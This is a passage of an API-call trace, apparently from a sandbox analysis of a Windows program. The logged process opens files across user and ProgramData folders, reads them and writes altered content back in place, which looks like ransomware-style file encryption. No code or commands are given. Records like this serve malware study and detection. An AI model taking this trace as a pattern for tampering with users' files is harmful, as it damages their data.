lpDistanceToMoveHigh=0x354f8c0*=0) returned 0xa03 [0064.538] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0064.538] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0064.538] ReleaseMutex (hMutex=0x128) returned 1 [0064.538] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="r-o J2a yitLXPWAtjUo.swf", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0064.538] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="r-o J2a yitLXPWAtjUo.swf", cchWideChar=24, lpMultiByteStr=0x1e7faec, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="r-o J2a yitLXPWAtjUo.swf", lpUsedDefaultChar=0x0) returned 24 [0064.538] ReadFile (in: hFile=0x1d4, lpBuffer=0x2613698, nNumberOfBytesToRead=0xa03, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2613698*, lpNumberOfBytesRead=0x354f2bc*=0xa03, lpOverlapped=0x0) returned 1 [0064.539] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0064.539] WriteFile (in: hFile=0x1d4, lpBuffer=0x280de78*, nNumberOfBytesToWrite=0xf8b, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x280de78*, lpNumberOfBytesWritten=0x354f2d0*=0xf8b, lpOverlapped=0x0) returned 1 [0064.539] CloseHandle (hObject=0x1d4) returned 1 [0064.539] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y4kMgbm5POuiAP\\TGc46 xOdBo5.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y4kmgbm5pouiap\\tgc46 xodbo5.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0064.539] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0064.539] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x93e1 [0064.539] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0064.539] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0064.539] ReleaseMutex (hMutex=0x128) returned 1 [0064.539] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="TGc46 xOdBo5.swf", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0064.539] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="TGc46 xOdBo5.swf", cchWideChar=16, lpMultiByteStr=0x1e78c44, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="TGc46 xOdBo5.swf", lpUsedDefaultChar=0x0) returned 16 [0064.539] ReadFile (in: hFile=0x1d4, lpBuffer=0x27fd658, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x27fd658*, lpNumberOfBytesRead=0x354f278*=0x4000, lpOverlapped=0x0) returned 1 [0064.540] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x83e1 [0064.540] ReadFile (in: hFile=0x1d4, lpBuffer=0x1d86ad8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x1d86ad8*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0064.540] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x83e1 [0064.541] WriteFile (in: hFile=0x1d4, lpBuffer=0x276c358*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x276c358*, lpNumberOfBytesWritten=0x354f28c*=0x1588, lpOverlapped=0x0) returned 1 [0064.541] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f2bc*=0) returned 0x0 [0064.541] WriteFile (in: hFile=0x1d4, lpBuffer=0x2807d18*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x2807d18*, lpNumberOfBytesWritten=0x354f28c*=0x4000, lpOverlapped=0x0) returned 1 [0064.541] CloseHandle (hObject=0x1d4) returned 1 [0064.541] CreateFileW (lpFileName="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrUpd10116_MUI.msp" (normalized: "c:\\users\\all users\\adobe\\arm\\reader_10.0.0\\adberdrupd10116_mui.msp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0064.541] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0064.541] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x109d588 [0064.541] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0064.541] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0064.541] ReleaseMutex (hMutex=0x128) returned 1 [0064.541] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdbeRdrUpd10116_MUI.msp", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0064.542] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdbeRdrUpd10116_MUI.msp", cchWideChar=23, lpMultiByteStr=0x1e78c44, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdbeRdrUpd10116_MUI.msp", lpUsedDefaultChar=0x0) returned 23 [0064.542] ReadFile (in: hFile=0x1d4, lpBuffer=0x399c508, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x399c508*, lpNumberOfBytesRead=0x354f278*=0xf000, lpOverlapped=0x0) returned 1 [0064.542] ReadFile (in: hFile=0x1d4, lpBuffer=0x399c508, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x399c508*, lpNumberOfBytesRead=0x354f278*=0xf000, lpOverlapped=0x0) returned 1 [0064.542] ReadFile (in: hFile=0x1d4, lpBuffer=0x399c508, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x399c508*, lpNumberOfBytesRead=0x354f278*=0xf000, lpOverlapped=0x0) returned 1 [0064.542] ReadFile (in: hFile=0x1d4, lpBuffer=0x399c508, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x399c508*, lpNumberOfBytesRead=0x354f278*=0xf000, lpOverlapped=0x0) returned 1 [0064.542] ReadFile (in: hFile=0x1d4, lpBuffer=0x399c508, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x399c508*, lpNumberOfBytesRead=0x354f278*=0xf000, lpOverlapped=0x0) returned 1 [0064.542] ReadFile (in: hFile=0x1d4, lpBuffer=0x399c508, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x399c508*, lpNumberOfBytesRead=0x354f278*=0xf000, lpOverlapped=0x0) returned 1 [0064.542] VirtualAlloc (lpAddress=0x0, dwSize=0x60000, flAllocationType=0x101000, flProtect=0x4) returned 0x7ef20000 [0064.549] ReadFile (in: hFile=0x1d4, lpBuffer=0x399c508, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x399c508*, lpNumberOfBytesRead=0x354f278*=0xf000, lpOverlapped=0x0) returned 1 [0064.549] VirtualQuery (in: lpAddress=0x7ef80000, lpBuffer=0x354f23c, dwLength=0x1c | out: lpBuffer=0x354f23c*(BaseAddress=0x7ef80000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x9000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0064.549] VirtualAlloc (lpAddress=0x0, dwSize=0x80000, flAllocationType=0x101000, flProtect=0x4) returned 0x7eea0000 [0064.735] VirtualFree (lpAddress=0x7ef20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0064.738] ReadFile (in: hFile=0x1d4, lpBuffer=0x399c508, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x399c508*, lpNumberOfBytesRead=0x354f278*=0xf000, lpOverlapped=0x0) returned 1 [0064.739] ReadFile (in: hFile=0x1d4, lpBuffer=0x399c508, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x399c508*, lpNumberOfBytesRead=0x354f278*=0x8000, lpOverlapped=0x0) returned 1 [0064.739] VirtualQuery (in: lpAddress=0x7ef20000, lpBuffer=0x354f23c, dwLength=0x1c | out: lpBuffer=0x354f23c*(BaseAddress=0x7ef20000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x69000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0064.739] VirtualAlloc (lpAddress=0x7ef20000, dwSize=0x20000, flAllocationType=0x2000, flProtect=0x4) returned 0x7ef20000 [0064.739] VirtualAlloc (lpAddress=0x7ef20000, dwSize=0x20000, flAllocationType=0x1000, flProtect=0x4) returned 0x7ef20000 [0064.740] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x109b588 [0064.740] ReadFile (in: hFile=0x1d4, lpBuffer=0x276a328, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesRead=0x354f278*=0x2000, lpOverlapped=0x0) returned 1 [0064.741] VirtualQuery (in: lpAddress=0x7eea0000, lpBuffer=0x354f2b0, dwLength=0x1c | out: lpBuffer=0x354f2b0*(BaseAddress=0x7eea0000, AllocationBase=0x7eea0000, AllocationProtect=0x4, RegionSize=0x80000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0064.741] VirtualFree (lpAddress=0x7eea0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0064.743] VirtualQuery (in: lpAddress=0x7ef20000, lpBuffer=0x354f2b0, dwLength=0x1c | out: lpBuffer=0x354f2b0*(BaseAddress=0x7ef20000, AllocationBase=0x7ef20000, AllocationProtect=0x4, RegionSize=0x20000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0064.743] VirtualFree (lpAddress=0x7ef20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0064.743] CloseHandle (hObject=0x1d4) returned 1 [0064.744] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\superbar.png" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\superbar.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0064.745] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\superbar.png", nBufferLength=0x104, lpBuffer=0x354f694, lpFilePart=0x354f690 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\superbar.png", lpFilePart=0x354f690*="superbar.png") returned 0x64 [0064.745] GetLastError () returned 0x5 [0064.746] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x354f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="p͔폈H͔퐔H͔L͔ꢸǦ\x01") returned 0x13 [0064.746] LocalFree (hMem=0x70e078) returned 0x0 [0064.746] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x354d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0064.746] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x354f894) [0064.746] RtlUnwind (TargetFrame=0x354f8fc, TargetIp=0x406ffc, ExceptionRecord=0x354f378, ReturnValue=0x0) [0064.746] RtlUnwind (TargetFrame=0x354f920, TargetIp=0x407184, ExceptionRecord=0x354f378, ReturnValue=0x0) [0064.746] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\superbar.png" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\superbar.png")) returned 0x20 [0064.747] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\Hx.hxn" (normalized: "c:\\users\\all users\\microsoft help\\hx.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0064.747] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0064.748] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x70e [0064.748] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0064.748] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0064.748] ReleaseMutex (hMutex=0x128) returned 1 [0064.748] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Hx.hxn", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0064.748] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Hx.hxn", cchWideChar=6, lpMultiByteStr=0x1e6a894, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Hx.hxn", lpUsedDefaultChar=0x0) returned 6 [0064.748] ReadFile (in: hFile=0x1d4, lpBuffer=0x2807d38, nNumberOfBytesToRead=0x70e, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2807d38*, lpNumberOfBytesRead=0x354f2bc*=0x70e, lpOverlapped=0x0) returned 1 [0064.748] CloseHandle (hObject=0x1d4) returned 1 [0064.748] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\MS.MSPUB.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.mspub.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0064.748] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0064.748] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x6ce [0064.748] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0064.748] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0064.748] ReleaseMutex (hMutex=0x128) returned 1 [0064.749] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MS.MSPUB.14.1033.hxn", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0064.749] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MS.MSPUB.14.1033.hxn", cchWideChar=20, lpMultiByteStr=0x1e78c44, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MS.MSPUB.14.1033.hxn", lpUsedDefaultChar=0x0) returned 20 [0064.749] ReadFile (in: hFile=0x1d4, lpBuffer=0x261fa88, nNumberOfBytesToRead=0x6ce, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesRead=0x354f2bc*=0x6ce, lpOverlapped=0x0) returned 1 [0064.749] CloseHandle (hObject=0x1d4) returned 1 [0064.749] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\MS.VISIO.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.visio.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0064.749] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0064.749] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x6ce [0064.749] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0064.749] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0064.749] ReleaseMutex (hMutex=0x128) returned 1 [0064.749] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MS.VISIO.14.1033.hxn", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0064.749] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MS.VISIO.14.1033.hxn", cchWideChar=20, lpMultiByteStr=0x1e78c44, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MS.VISIO.14.1033.hxn", lpUsedDefaultChar=0x0) returned 20 [0064.749] ReadFile (in: hFile=0x1d4, lpBuffer=0x261fa88, nNumberOfBytesToRead=0x6ce, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesRead=0x354f2bc*=0x6ce, lpOverlapped=0x0) returned 1 [0064.750] CloseHandle (hObject=0x1d4) returned 1 [0064.750] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\x64\\Windows6.1-KB2999226-x64.msu" (normalized: "c:\\users\\all users\\package cache\\42d5bec7ddfbd49e76467529cbc2868987bf8460\\packages\\patch\\x64\\windows6.1-kb2999226-x64.msu"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0064.750] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0064.750] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0xf76c1 [0064.750] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0064.750] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0064.750] ReleaseMutex (hMutex=0x128) returned 1 [0064.750] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Windows6.1-KB2999226-x64.msu", cchWideChar=28, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 28 [0064.750] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Windows6.1-KB2999226-x64.msu", cchWideChar=28, lpMultiByteStr=0x1e7faec, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Windows6.1-KB2999226-x64.msu", lpUsedDefaultChar=0x0) returned 28 [0064.750] ReadFile (in: hFile=0x1d4, lpBuffer=0x399c508, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x399c508*, lpNumberOfBytesRead=0x354f278*=0xf000, lpOverlapped=0x0) returned 1 [0064.751] ReadFile (in: hFile=0x1d4, lpBuffer=0x399c508, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x399c508*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0064.751] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0xf66c1 [0064.751] ReadFile (in: hFile=0x1d4, lpBuffer=0x1d86ad8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x1d86ad8*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0064.751] CloseHandle (hObject=0x1d4) returned 1 [0064.751] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\cab1.cab" (normalized: "c:\\users\\all users\\package cache\\{582ea838-9199-3518-a05c-db09462f68ec}v14.10.25017\\packages\\vcruntimeminimum_x86\\cab1.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0064.751] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0064.751] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x13c043 [0064.751] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0064.751] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0064.751] ReleaseMutex (hMutex=0x128) returned 1 [0064.751] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cab1.cab", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0064.751] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cab1.cab", cchWideChar=8, lpMultiByteStr=0x1e630ec, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cab1.cab", lpUsedDefaultChar=0x0) returned 8 [0064.752] ReadFile (in: hFile=0x1d4, lpBuffer=0x399c508, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x399c508*, lpNumberOfBytesRead=0x354f278*=0xf000, lpOverlapped=0x0) returned 1 [0064.752] ReadFile (in: hFile=0x1d4, lpBuffer=0x399c508, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x399c508*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0064.752] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x13b043 [0064.752] ReadFile (in: hFile=0x1d4, lpBuffer=0x1d86ad8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x1d86ad8*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0064.752] CloseHandle (hObject=0x1d4) returned 1 [0064.752] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\cab1.cab" (normalized: "c:\\users\\all users\\package cache\\{b175520c-86a2-35a7-8619-86dc379688b9}v11.0.61030\\packages\\vcruntimeadditional_x86\\cab1.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0064.753] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0064.753] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x4ea9a0 [0064.753] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0064.753] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0064.753] ReleaseMutex (hMutex=0x128) returned 1 [0064.753] WideCharToMultiByte (in: 